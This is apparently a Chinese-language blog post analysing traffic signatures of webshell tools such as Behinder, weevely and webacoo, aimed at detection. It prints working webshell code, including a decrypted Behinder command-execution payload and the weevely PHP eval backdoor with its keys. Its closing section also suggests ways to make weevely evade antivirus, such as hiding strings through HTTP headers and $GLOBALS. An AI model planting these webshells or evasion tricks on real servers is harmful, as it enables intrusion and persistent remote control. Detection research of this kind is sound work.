webshell 管理工具流量特徵分析

Merakii發表於2024-03-08

1.冰蠍

基於冰蠍的加密流量威脅,剖析其通訊原理,冰蠍的通訊過程可以分為兩個階段:金鑰協商以及加密傳輸。
第一階段:金鑰協商
攻擊者透過 GET 或者 POST 方法,形如(http://127.0.0.1/shell.aspx?pass=645)的請求伺服器金鑰。
伺服器使用隨機數 MD5 的高16位作為金鑰,儲存到會話的 $_SESSION 變數中,並返回金鑰給攻擊者。
第二階段-加密傳輸
1)客戶端把待執行命令作為輸入,利用 AES 演算法或 XOR 運算進行加密,併傳送至服務端;
2)服務端接受密文後進行 AES 或 XOR 運算解密,執行相應的命令;
3)執行結果透過AES加密後返回給攻擊者。

透過wireshark抓取冰蠍3.0流量包:

冰蠍使用AES加密,我們進行AES解密試試看:

還需要對內容進行base64解碼,就獲取了明文:

@error_reporting(0);

function getSafeStr($str){
    $s1 = iconv('utf-8','gbk//IGNORE',$str);
    $s0 = iconv('gbk','utf-8//IGNORE',$s1);
    if($s0 == $str){
        return $s0;
    }else{
        return iconv('gbk','utf-8//IGNORE',$str);
    }
}
function main($cmd,$path)
{
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time', 0);
    $result = array();
    $PadtJn = @ini_get('disable_functions');
    if (! empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    $c = $cmd;
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $c = $c . " 2>&1\n";
    }
    $JueQDBH = 'is_callable';
    $Bvce = 'in_array';
    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
        ob_start();
        system($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
        $handle = proc_open($c, array(
            array(
                'pipe',
                'r'
            ),
            array(
                'pipe',
                'w'
            ),
            array(
                'pipe',
                'w'
            )
        ), $pipes);
        $kWJW = NULL;
        while (! feof($pipes[1])) {
            $kWJW .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
        ob_start();
        passthru($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
        $kWJW = shell_exec($c);
    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
        $kWJW = array();
        exec($c, $kWJW);
        $kWJW = join(chr(10), $kWJW) . chr(10);
    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
        $fp = popen($c, 'r');
        $kWJW = NULL;
        if (is_resource($fp)) {
            while (! feof($fp)) {
                $kWJW .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        $kWJW = 0;
        $result["status"] = base64_encode("fail");
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result), $key);
        return;
        
    }
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode(getSafeStr($kWJW));
    echo encrypt(json_encode($result),  $_SESSION['k']);
}//攻擊包

function encrypt($data,$key)
{
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i<strlen($data);$i++) {
    			 $data[$i] = $data[$i]^$key[$i+1&15]; 
    			}
			return $data;
    	}
    else
    	{
    		return openssl_encrypt($data, "AES128", $key);
    	}
}$cmd="Y2QgLztscw==";$cmd=base64_decode($cmd);$path="Lw==";$path=base64_decode($path);
main($cmd,$path);

1.1冰蠍流量特徵分析

1)流量特徵Accept欄位
冰蠍的通訊過程中會攜帶以下Accept欄位,在進行資料通訊中會攜帶Accept欄位
Accept: application/json, text/javascript, _/_; q=0.01

2)流量特徵Content-Type欄位
PHP站點:Application/x-www-form-urlencoded
ASP站點:Application/octet-stream

3)流量特徵User-agent 欄位
冰蠍設定了10種User-Agent,每次連線shell時會隨機選擇一個進行使用(具體詳情詳見文件附錄一)。

4)流量特徵長連線
冰蠍通訊預設使用長連線,避免了頻繁的握手造成的資源開銷。預設情況下,請求頭和響應頭裡會帶有 Connection。
Connection: Keep-Alive

5)流量特徵固定的請求頭和響應頭
PHP站點預設口令Default_xor_base64協議加密流量特徵,請求位元組頭:
dFAXQV1LORcHRQtLRlwMAhwFTAg/M

響應位元組頭:
TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd

PHP站點預設口令Default_aes協議加密流量特徵,請求位元組頭:
m7nCS8n4OZG9akdDlxm6OdJevs/jYQ5/IcXK

響應位元組頭:
mAUYLzmqn5QPDkyI5lvSp6DmrC24FW39Y4YsJhUqS7

JSP站點預設口令Default_xor_base64協議,aes_with_magic協議,Default_aes協議,加密流量特徵,響應位元組頭:
QhoVQgMXEUcUCBMHAGFZaQtuHFUVXlkWGhBcF1QVCRJ

6)流量特徵PHP webshell 中存在固定程式碼

JSP webshell 中存在固定程式碼

7)流量特徵連線密碼
預設時,所有冰蠍4.* webshell都有“e45e329feb5d925b” 一串金鑰。該金鑰為連線密碼32位md5值的前16位,預設連線密碼rebeyond

1.2解決建議

基於冰蠍上述的流量特徵分析,新版冰蠍在請求資料包文中Content-type,User-Agent,Accept,Connection四個請求Header欄位固定,屬於冰蠍的弱特徵,由於部分欄位非冰蠍特有,可以把這些欄位作為一個輔助特徵,輔助其他特徵來檢測校驗,判斷是否為冰蠍惡意流量。
在預設密碼情況下請求資料包文請求位元組頭,響應位元組頭固定,為冰蠍的強特徵,可根據位元組頭內容判斷是否為冰蠍惡意流量。
除了通訊流量特徵,冰蠍webshell檔案也包含固定特徵,應檢測流量中是否包含冰蠍webshell固定程式碼,以此判斷是否為攻擊者上傳冰蠍Webshell檔案。

附錄一:

冰蠍4.0 內建10中User-Agent請求頭

"Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0",
"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0",
"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"

2.Cnife

Cnife流量的特徵就是body部分的引數均為base64編碼,將該部分進行base64解碼之後,其流量特徵同中國菜刀,還有一個eval函式。這裡就不展開再說

3./usr/share/webshells

kali裡面自帶的一些webshell工具

這裡我分析的是qsd,第三個檔案

可以看到它的get請求比較獨特,然後返回包帶著<pre><h2>欄位,還有Content-Type:txt/html 應該都算是特徵值。而且返回包裡都是明文。

4.weevely

可以看出,ua可以偽造,content-type:application/x-www-form-urlencoded貌似也是弱特徵。

根據語法,生成我們要使用的webshell,然後將生成的webshell檔案上傳至目標網站伺服器

weevely基礎語法如下,其他指令可自行查閱:

weevely生成的webshell:


4.1 分析:

從以上程式碼中摘出來一些比較易懂的引數

從上圖可以看出研究的重點是$D拼接出的字串,整理後得到如下程式碼:

$k="9e94b15e";  $kh="d312fa42232f"; $kf="d87ahZ55db0d39"; $p="PY16bXfpTDNaKyiy"; function x($t,$k) {    $c=strlen($k);     $l=strlen($t);    $o="";    for($i=0;$i<$l;)    {        for($j=0;($j<$c&&$i<$l);$j++,$i++)        {            $o.=$t{$i}^$k{$j};        }    }    return $o; } if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){    @ob_start();    @eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));    $o=@ob_get_contents();    @ob_end_clean();    $r=@base64_encode(@x(@gzcompress($o),$k));    print("$p$kh$r$kf");

我們把它分為三類:

已定義引數

+自定義函式

+重要部分

4.2 已定義引數:

$k="9e94b15e";  $kh="d312fa42232f"; $kf="d87a55db0d39"; $p="PY16bXfpTDNaKyiy";

生成規律:

根據密碼生成$k、$kh和$kf這三個引數的值,不論密碼怎麼變,$k、$kh和$kf這三個引數名稱不變。

$p在返回已獲取資訊時才會用到。

3.2 自定義函式:

function x($t,$k) {    $c=strlen($k);     $l=strlen($t);    $o="";    for($i=0;$i<$l;)    {        for($j=0;($j<$c&&$i<$l);$j++,$i++)        {            $o.=$t{$i}^$k{$j};        }    }    return $o; }

3.3 重要部分:

if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){    @ob_start();    @eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));    $o=@ob_get_contents();    @ob_end_clean();    $r=@base64_encode(@x(@gzcompress($o),$k));    print("$p$kh$r$kf");}

關於重要部分的作用及執行流程可參見下圖:

網上對於緩衝區的解釋:

當執行PHP的時候,如果碰到了echo print_r之類的會輸出資料的程式碼,PHP就會將要輸出的資料放到PHP自身的緩衝區,等待輸出。

當PHP自身的緩衝區接到指令,指示要輸出緩衝區的內容時,將會把緩衝區內的資料輸出到apache上,apache接受到PHP輸出的資料,然後再把該資料存在到apache自身的緩衝區內,等到輸出。

舉例:

ob_end_clean()只會清除緩衝區的內容,並將緩衝區關閉,不會輸出內容,如果要在緩衝區關閉前獲取緩衝區內容,需要ob_get_contents()

接下來針對流程中的三個關鍵內容進行分析:

4.2.1獲取加密payload

Wireshark看weevely發出的流量:

我們透過已定義的引數$kh和$kf的值找到了經過加密的payload。

4.2.2解密並執行payload

程式碼的具體實現過程:

為什麼在“解密並執行payload”中要用$m[1]?

這裡詳細說明一下自定義函式x的執行過程:

可以從除錯過程中看到,$c=8,代表$k的長度,$l=27代表$m[1]的長度,這裡用$t來代表$m[1]。

$i<$l(27)時,外迴圈進行

$j<$c(8)$i<$l(27)時,內迴圈進行異或當操作。

內迴圈第一次結束時,$j=8$l=8,此時外迴圈不滿足結束條件,所以又進行內迴圈,此時$j被重置,所以$j=0$l=8

第二次內迴圈結束時,$j=8$l=16,同理類推。

當內迴圈不滿足$j<$c(8)$i<$l(27)時,跳出內迴圈

此時外迴圈$i<$l(27)不滿足,跳出外迴圈。

4.2.3加密返回資訊

這一步的作用在於防止流量返回時遭到查殺,解密的過程由weevely本地完成,即反解下面程式碼:

$k="9e94b15e";
$kh="d312fa42232f";
$kf="d87a55db0d39";
$p="PY16bXfpTDNaKyiy";

$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");

如果想自己解密可以遵循以下步驟:

  1. 正則匹配去除干擾字串
  2. base64解碼
  3. 反執行自定義函式x
  4. gzuncompress解壓

4.3 weevely的webshell總結:

作者是如何躲過靜態查殺和流量查殺的?

  • 使用str_replace()進行字串拼接
  • base64加密/解密
  • 自定義函式加密/解密
  • 使用gzuncompress()和gzcompress()

以上就是$D引數中的內容,weevely透過呼叫create_function()呼叫以上程式碼。


4.4 weevely改進思路:

  1. 原生webshell中,使用了硬編碼(如hP/hZ)來混淆敏感字串(如create_function),從防禦方的角度來看,只需要動態執行一下該php的程式碼,即可獲取到對應的明文

我們可以在冰蠍/蟻劍連線webshell時設定特定http頭,動態傳遞要被replace的字元,以增強其隱蔽性,具體應用在後續的“冰蠍和蟻劍改進版”中可以看到。

  1. 當防毒軟體發現我們解密了一個字串,並把它當成函式來呼叫時(如$G=$X('',$D);$G();),也會觸發查殺行為

    我們可以使用$GLOBALS減弱已解密字串與函式呼叫的關係,繞過查殺

5.webacoo

很明顯攻擊包在cookie欄位裡面

相關文章